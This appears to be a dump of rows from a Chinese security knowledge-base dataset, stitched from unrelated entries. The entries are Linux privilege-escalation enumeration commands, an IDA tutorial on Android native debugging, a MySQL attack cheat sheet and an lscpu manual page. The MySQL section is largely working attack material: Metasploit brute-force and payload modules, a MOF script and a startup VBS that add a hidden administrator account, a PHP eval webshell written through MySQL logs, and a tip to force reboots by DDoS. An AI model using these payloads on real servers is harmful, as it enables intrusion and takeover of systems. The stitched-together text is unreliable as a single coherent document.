|find / -perm -g=s -o -perm -u=s -type f 2>/dev/null | SGID or SUID|
|for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done | Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)|
|find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null|find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)|
|find / -writable -type d 2>/dev/null| world-writeable folders|
|find / -perm -222 -type d 2>/dev/null|world-writeable folders|
|find / -perm -o w -type d 2>/dev/null| world-writeable folders|
|find / -perm -o x -type d 2>/dev/null|world-executable folders|
|find / \( -perm -o w -perm -o x \) -type d 2>/dev/null | world-writeable & executable folders|
|find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print|world-writeable files|
|find /dir -xdev \( -nouser -o -nogroup \) -print|Noowner files|
## Scheduled
|**Command**|**Description**|
|:----------|:--------------|
|crontab -l|display current contab on standard output|
|ls -alh /var/spool/cron||
|ls -al /etc/cron*||
|cat /etc/cron*||
|cat /etc/at.allow|The /etc/at.allow and /etc/at.deny files determine which user can submit commands for later execution via at or batch.|
|cat /etc/at.deny|The /etc/at.allow and /etc/at.deny files determine which user can submit commands for later execution via at or batch.|
|cat /etc/cron.allow||
|cat /etc/cron.deny||
|cat /etc/crontab||
|cat /etc/anacrontab||
|ls -la /var/spool/cron/crontabs|List all users's crontab files|
|cat /var/spool/cron/crontabs/root|Print root user crontab|
# Links
1. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
2. https://github.com/CISOfy/lynis
3. https://github.com/rebootuser/LinEnum
4. https://github.com/nixawk/metasploit-modules/blob/master/.msf4/modules/post/linux/gather/enum_linux.rb
5. http://www.iptables.org/documentation/
4. http://packetlife.net/media/library/12/tcpdump.pdf
|
sec-knowleage
|
# IDA 动态调试原生层程序
这里我们会介绍如何调试以下种类的程序
- 基本的原生层程序,即简单的 C/C++ 程序。
- 原生 so 程序
## 必备工具
- **已经root的手机**
- IDA
## 基本原理
在使用 ida 动态调试原生层程序时,主要会使用到 android_server 程序。该程序会使用 ptrace 技术注入到要调试的程序中。
每一个进程都有一个 status 文件,其中有一字段 TracerPid 用来标识该进程是被哪个进程 ptrace 了。如果没有被其他进程 ptrace,那么就返回 0,否则返回对应进程的 pid。
## 基本环境搭建
无论是调试什么原生层程序,基本的环境搭建都是类似的,需要确保 IDA 与手机通信正常。
1. 上传 android_server 文件(在 ida 的 dbgsrv 文件夹下),并修改相应权限使其可以执行
```shell
adb push android_server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/android_server
```
2. 开启 android_server,其会监听 23946 端口(以 root 权限运行)
```shell
adb shell # 进入adb
su # 切换root
./data/local/tmp/android_server #启动android_server
```
3. 建立本地计算机 23496 端口与手机端口 23946 的通信。当 PC 有客户端连接 23946 端口时,其发送的信息都将被转发到手机的相应的端口,这时 android_server 就收到相应的数据,从而使得 IDA 可以调试程序。前面的 tcp 的端口指的是本地 PC 的端口,后面的指的是手机的端口。
```shell
adb forward tcp:23946 tcp:23946
```
注意:
> 其实这个连接建立的是 adb server 与与手机上 adbd 之间的通信。所以其通信大概是这个样子的
>
> IDA<-->adb server<--->adbd<---->android_server
>
> 电脑 | 手机
**其中,第一步只需要执行一次,后面就不需要再次执行。而第 2-3 步每次都得执行,因此可以写成一个脚本,并将脚本的路径放在系统的 path 环境变量下,这样我们可以执行一个命令直接执行。**
## 基本原生程序调试-法1
基本原生程序指的是普通的编译为 arm 汇编的 c/c++ 程序。
### 添加程序
这里我们以<u>http://www.52pojie.cn/thread-554068-1-1.html</u>中的 debugnativeapp 为例子。
首先,我们需要把原生程序放到 android 设备中,并修改其权限,使其可以被执行。如下
```shell
adb push debugnativeapp /data/local/tmp/
adb shell chmod 755 /data/local/tmp/debugnativeapp
```
### 启动调试
根据原生层程序的位数选择相应的 ida,然后选择 Debugger-Run-RemoteArmLinux/Android debugger,如下界面
其中,重要的参数意义如下
- Application
- 被调试程序在手机上的绝对路径。
- Directory
- 被调试程序在手机中的目录
- Hostname
- 即我们与哪个主机进行通信,这里我们直接和本地PC进行通信。
其中 Debug options 选择如下
主要是选择了三个 Events,使得我们的程序可以在入口点,线程启动时,library加载时自动停止。当然,也可以都进行选择。
启动程序后,如下
注:
> 1. 如果发现can not load plugin ,那可能是手机没有root。
>
> 2. 如果遇到以下问题,直接cancel就好。具体原因还不清楚。
>
>
>
> 3. 如果遇到error: only position independent executables (PIE) are supported.一般是因为android手机的版本大于5,可以尝试
>
> - 使用android_server的PIE版本
> - 利用010Editor将可执行ELF文件的header中的elf header字段中的e_type改为ET_DYN(3)。
## so原生程序调试
对于 so 原生程序,我们可能会想这和普通原生程序有什么不一样的地方呢?自然是有的,so文件不能单独运行。一般是其它程序调用 so 文件中的基本某些函数。所以这里我们就不能直接采用上面 run 的方式了。一般来说,android 中 so 文件都是依赖于 apk 文件的。
这里我们以 <u>http://www.52pojie.cn/thread-554068-1-1.html</u> 中的 debugjniso.apk 为例子。
**首先,必须搭建基本调试环境。**
### 安装程序
首先,我们需要将 apk 安装到手机上。
```shell
adb install debugjniso.apk
```
### 调试模式启动app
其次,我们需要以**调试模式启动程序**,这样,才可以方便 IDA 来捕捉到相应的程序并对其进行 attach。
```shell
adb shell am start -D -n packagename/.MainActivity
```
### attach程序
启动 IDA pro,点击Debugger-Attach-RemoteArmLinux/Android debugger,Hostname 填 localhost,port 默认就是 23946 端口。其实就是我们本地电脑的监听端口。如下
点击 ok,启动调试
**注意:**
> 如果最后出现只有一个程序 /bin/sh 可以被 attach,那说明没有以 root 权限运行 android_server 程序。
利用 ctrl+f 快速定位并选择相应的进程,如下
然后ok确定即可。
这时我们可以看到我们已经 attach 成功了。
这时候我们再点击 Debugger-Debugger options,设置相关选项如下
意思类同于原生程序。
> 为什么这时候才选择要设下相应的断点,是因为如果在开始attach的时候就设置的话,到这里其实是没有的。大家可以试试。
### 恢复 app 执行
这时候,app 的界面是 wait for debugger,我们也已经 attach 上去了。这时候,就需要让程序继续运行了。
首先,我们打开 ddms 来选中我们要调试的进程。
这里其实相当于直接执行了
```shell
# 显示手机所有可供调试的用户进程
adb jdwp
# 在PC的xxx端口与手机的相应端口之间建立连接,方便通信
adb forward tcp:xxx jdwp:<pid>
```
之所以不使用命令去执行,是因为我们还得自己去确定我们的 apk 的进程号,这会比较麻烦。
这里给出一个基本的通信过程
此时,我们的电脑已经与手机的 app 虚拟机之间建立了通信。
同时,我们需要使用 jdb 在 java 层来将我们的 apk 应用 attach 到我们的电脑上,这里我们使用如下的命令。
```shell
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=xxx
```
其中 xxx 就是我们在 ddms 看到的 8700 端口,一般默认就是这个。执行之后
```shell
C:\Users\iromise
λ jdb.bat
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700
设置未捕获的java.lang.Throwable
设置延迟的未捕获的java.lang.Throwable
正在初始化jdb...
>
```
我们再次看一下我们的手机,
此时,应用已经又继续运行了,不再是之前的 wait for debugger 了。
### 确定原生函数地址
这里我们再次打开一个 ida,导入该 apk 的 so 库,然后在 export 中寻找我们的函数,如下
可以看出其偏移为 0xc38。
我们再在之前的调试的 IDA 中运行 F9 直到怎么按都不再运行,我们会看到程序断在 linker 处
此时,我们**点击 app 界面的设置标题按钮**(之所以要按这个,是因为在该函数中调用了原生 API),再次观察IDA,可以看出该 so 库已经被加载进入
```text
B3B05000: loaded /data/app/com.droider.debugjniso-1/oat/arm/base.odex
B39B9000: loaded /system/lib/hw/gralloc.msm8974.so
B39B2000: loaded /system/lib/libmemalloc.so
B39AA000: loaded /system/lib/libqdutils.so
B3B00000: loaded /data/app/com.droider.debugjniso-1/lib/arm/libdebugjniso.so
```
这时,我们利用 ctrl+s 定位到该库的起始地址处 0xB3B00000。然后根据
```text
绝对地址=基地址+相对偏移
```
得到 jnistring 的地址。
### 观察结果
按下 g,然后输入 `+0xC38` ,点击 ok 即可跳转至该函数
```assembly
libdebugjniso.so:B3B00C38 Java_com_droider_debugjniso_TestJniMethods_jniString
libdebugjniso.so:B3B00C38 LDR R1, =(unk_B3B02148 - 0xB3B00C4C)
libdebugjniso.so:B3B00C3C STMFD SP!, {R4,LR}
libdebugjniso.so:B3B00C40 LDR R3, [R0]
libdebugjniso.so:B3B00C44 ADD R1, PC, R1 ; unk_B3B02148
libdebugjniso.so:B3B00C48 MOV LR, PC
```
我们在此函数的开始处 F2 下断点,然后再次F9执行程序,同时观看手机,就可以发现app的标题变成了`你好!Nativemethod` 。
到此,so 原生程序的基本调试步骤就结束了。
注:
> 如果中间出现了add map的对话框直接点击Cancel,然后apply即可。
### 注意事项
1. 当使用模拟器调试 apk 出现异常时,很有可能是应用检测了是否运行在模拟器环境下,考虑使用手机。
2. 当使用真机调试 apk 时,也有可能会遇到异常,卡在某一条指令上,这时我们可以手动执行这条指令,然后将 PC 设置为下一条指令的地址。
## 基本原生程序调试-法2
待补充。
## 多线程调试
## 参考阅读
- http://www.52pojie.cn/thread-554068-1-1.html
- https://www.kanxue.com/chm.htm?id=10296&pid=node1000944
|
sec-knowleage
|
# Mysql
> shodan : "product:MySQL"
> fofa : app="Oracle-MySQL"
**描述**
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,它分为社区版和商业版,一般中小型网站的开发选择 MySQL 作为网站数据库。
**Mysql 基础**
- [Mysql](../../../../Integrated/数据库/笔记/Mysql.md)
**Mysql 注入**
- [Mysql数据库注入笔记](../../Web安全/Web_Generic/SQLi.md#Mysql)
**MSF 爆破**
```bash
use auxiliary/scanner/mysql/mysql_login
set RHOSTS [IP]
set USER_FILE [用户名字典]
set PASS_FILE [密码字典]
set STOP_ON_SUCCESS true
set THREADS 20
exploit
```
**MSF 上传文件执行**
```bash
use exploit/windows/mysql/scrutinizer_upload_exec
set RHOST [ip]
set USERNAME [user]
set PASSWORD [pass]
set payload windows/meterpreter/bind_tcp
set RHOST [ip]
set LPORT 4444
exploit
```
**MSF 获取 mysql.user 的 hash**
```bash
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS [ip]
set USERNAME [user]
set PASSWORD [pass]
set THREADS 20
exploit
```
**CVE-2012-2122 Mysql 身份认证绕过漏洞**
- 漏洞描述
当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。
- POC | Payload | exp
```
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
```
**CVE-2012-5615 Oracle MySQL Server 5.5.19 用户名枚举漏洞**
- 漏洞描述
MySQL 5.5.19 以及其他版本和 MariaDB 5.5.28a,5.3.11,5.2.13,5.1.66 以及其他版本中存在漏洞,该漏洞源于不同时间延迟产生不同错误消息取决于用户名是否存在。远程攻击者利用该漏洞枚举有效的用户名。
- POC | Payload | exp
- [MySQL - Remote User Enumeration](https://www.exploit-db.com/exploits/23081)
- [MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Command Execution](https://www.exploit-db.com/exploits/23073)
**CVE-2016-6662**
- 漏洞描述
Oracle MySQL 中的配置文件(my.cnf)存在远程代码执行漏洞。攻击者(本地或远程)可通过授权访问 MySQL 数据库(网络连接或类似 phpMyAdmin 的 Web 接口)或 SQL 注入方式,利用该漏洞向配置文件中注入恶意的数据库配置,导致以 root 权限执行任意代码,完全控制受影响的服务器。以下版本受到影响:Oracle MySQL 5.5.52 及之前的版本,5.6.x 至 5.6.33 版本,5.7.x 至 5.7.15 版本;MariaDB 5.5.51 之前的版本,10.0.27 之前的 10.0.x 版本,10.1.17 之前的 10.1.x 版本;Percona Server 5.5.51-38.1 之前的版本,5.6.32-78.0 之前的 5.6.x 版本,5.7.14-7 之前的 5.7.x 版本。
- 相关文章
- [【技术分享】CVE-2016-6662:Mysql远程代码执行/权限提升技术分析正式版](https://www.anquanke.com/post/id/84557)
---
## MySQL 文件读
**相关文章**
- [通过MySQL LOAD DATA特性来达到任意文件读取](https://xz.aliyun.com/t/3973)
- [Mysql Read Client's File](https://y4er.com/post/mysql-read-client-file/)
**相关工具**
- [Gifts/Rogue-MySql-Server](https://github.com/Gifts/Rogue-MySql-Server)
- [BeichenDream/MysqlT](https://github.com/BeichenDream/MysqlT) - 伪造 Myslq 服务端, 并利用 Mysql 逻辑漏洞来获取客户端的任意文件反击攻击者
---
## Mysql提权
**相关文章**
- [Windows下三种mysql提权剖析](https://xz.aliyun.com/t/2719)
### UDF 提权
**相关文章**
- [Command execution with a MySQL UDF](http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html)
**POC | Payload | exp**
- [mysqludf/lib_mysqludf_sys](https://github.com/mysqludf/lib_mysqludf_sys)
- [T3st0r-Git/HackMySQL](https://github.com/T3st0r-Git/HackMySQL) - Using To MySQL Elevate Privileges.
- MSF 模块
```bash
use exploit/multi/mysql/mysql_udf_payload
set RHOSTS [ip]
set USERNAME [user]
set PASSWORD [pass]
set target 0
set payload windows/meterpreter/bind_tcp
set RHOST [ip]
set LPORT 4444
exploit
```
### MOF 提权
MOF提权的条件要求十分严苛:
1. windows 03 及以下版本
2. mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
3. secure-file-priv 参数不为 null
```ini
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
```
1. 保存为 1.mof,然后 mysql 执行:`select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';`
2. mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.
**关于 Mof 提权的弊端**
我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用.那么我们如何删掉我们的入侵账号呢?
```
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
```
- MSF 模块
```bash
use exploit/windows/mysql/mysql_mof
set RHOSTS [ip]
set USERNAME [user]
set PASSWORD [pass]
set payload windows/meterpreter/bind_tcp
set RHOST [ip]
set LPORT 4444
exploit
```
### 启动项提权
在前两种方法都失败时,那可以试一下启动项提权..因为要求达到的条件和 mof 几乎一样,并且要重启服务,所以不是十分推荐.
原理还是使用 mysql 写文件,写入一段 VBS 代码到开机自启动中,服务器重启达到创建用户并提权,可以使用 DDOS 迫使服务器重启.
提权条件
1. file_priv 不为 null
2. 已知 root 密码
```sql
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
```
### 日志 getshell
查询当前 mysql 下 log 日志的默认地址,同时也看下 log 日志是否为开启状态,并且记录下原地址,方便后面恢复。
```sql
-- 开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log = on;
-- 这里设置我们需要写入的路径就可以了。
set global general_log_file = 'D:/shell.php';
-- 查询一个一句话,这个时候log日志里就会记录这个。
select '<?php eval($_POST['1']);?>';
```
```sql
-- 结束后,再修改为原来的路径。
set global general_log_file = 'D:\xampp\mysql\data\1.log';
-- 关闭下日志记录。
set global general_log = off;
```
### 慢查询日志
MySQL 的慢查询日志是 MySQL 提供的一种日志记录,它用来记录在 MySQL 中响应时间超过阀值的语句。
对日志量庞大,直接访问日志网页极有可能出现 500 错误。通过开启慢查询日志,记录了超时 10s 的 SQL,这样页面的代码量会减轻很多不易导致 500, 配置可解析日志文件 GETSHELL。
```sql
show variables like '%slow%';
```
long_query_time 的默认值为 10,意思是运行 10S 以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过 long_query_time 值的 SQL,则会被记录到慢查询日志中。
```sql
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
```
```sql
select '<?php phpinfo();?>' from mysql.db where sleep(10);
```
### CVE-2021-27928
**相关文章**
- [CVE-2021-27928漏洞复现](https://blog.csdn.net/Cypher_X/article/details/117073244)
**POC | Payload | exp**
- [MariaDB 10.2 - 'wsrep_provider' OS Command Execution](https://www.exploit-db.com/exploits/49765)
|
sec-knowleage
|
lscpu
===
显示有关CPU架构的信息
## 补充说明
**lscpu命令** 是显示有关CPU架构的信息。
### 语法
```shell
lscpu [选项]
```
### 选项
```shell
-a, --all # 打印在线和离线CPU(默认为-e)
-b, --online # 仅打印在线CPU(-p的默认值)
-c, --offline # 打印离线CPU
-e, --extended[=<list>] # 打印出一个扩展的可读格式
-p, --parse[=<list>] # 打印出可解析的格式
-s, --sysroot <dir> # 将指定的目录用作系统根目录
-x, --hex # 打印十六进制掩码,而不是CPU列表
-h, --help # 显示此帮助并退出
-V, --version # 输出版本信息并退出
```
### 参数
```shell
可用列:
CPU 逻辑CPU编号
CORE 逻辑核心号码
SOCKET 逻辑套接字号
NODE 逻辑NUMA节点号
BOOK 逻辑书号
CACHE 显示了如何在CPU之间共享高速缓存
POLARIZATION 虚拟硬件上的CPU调度模式
ADDRESS CPU的物理地址
CONFIGURED 显示管理程序是否分配了CPU
ONLINE 显示Linux是否正在使用CPU
```
### 例子
```shell
[root@localhost ~]# lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Thread(s) per core: 1
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 30
Model name: Intel(R) Xeon(R) CPU X3430 @ 2.40GHz
Stepping: 5
CPU MHz: 2394.055
BogoMIPS: 4788.11
Virtualization: VT-x
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 8192K
NUMA node0 CPU(s): 0-3
```
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.